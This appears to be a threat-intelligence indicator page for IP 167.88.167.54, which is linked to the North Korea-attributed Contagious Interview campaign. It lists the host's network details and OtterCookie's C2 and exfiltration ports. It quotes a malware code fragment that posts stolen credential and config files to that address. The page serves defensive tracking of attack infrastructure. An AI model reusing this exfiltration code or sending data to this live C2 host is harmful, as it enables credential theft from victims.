167.88.167.54
167.88.167.54 is an IP address
that 2 published sources report
in connection with Contagious Interview activity, which public reporting
attributes to North Korea (DPRK).
It is cited here from Seongsu Park (@unpacker) and veryserious.systems.
The earliest of those reports is dated 2026-06-13 and the most recent 2026-08-11.
ip address Contagious Interview MATCHED IN SOURCE
Network
| Kind | data centre |
|---|---|
| Network | RouterHosting LLC |
| Announced by | AS14956 RouterHosting LLC |
| Country | United States |
| Flags | hosting range |
Sources
-
The researcher notes that the current OtterCookie variant uses port 8086 for primary file exfiltration, 8085 for secondary exfiltration and 8087 for its Socket.IO C2, clipboard and log channel, and publishes a Censys query matching all three ports with an Express server on RouterHosting LLC's network. These are the hosts the query returned, which the researcher describes as C2 infrastructure that appears to be still active or recently configured: matches of a fingerprint, not samples observed calling them.
x.com/unpacker/status/2087145269020561711 — Seongsu Park (@unpacker) -
…files are excluded via a separate extension list to keep bandwidth focused on text-based credentials and config. Matching files go to 167.88.167.54:8086/upload : await axios.post(`http://167.88.167.54:8086/upload`, form, { headers: { ...form.getHeaders(), userkey: victimKey,…
Breaking down North Korea's continuation of BeaverTail — veryserious.systems
Find this indicator in the index, or see every IP address this site holds under IP addresses in the browse listing.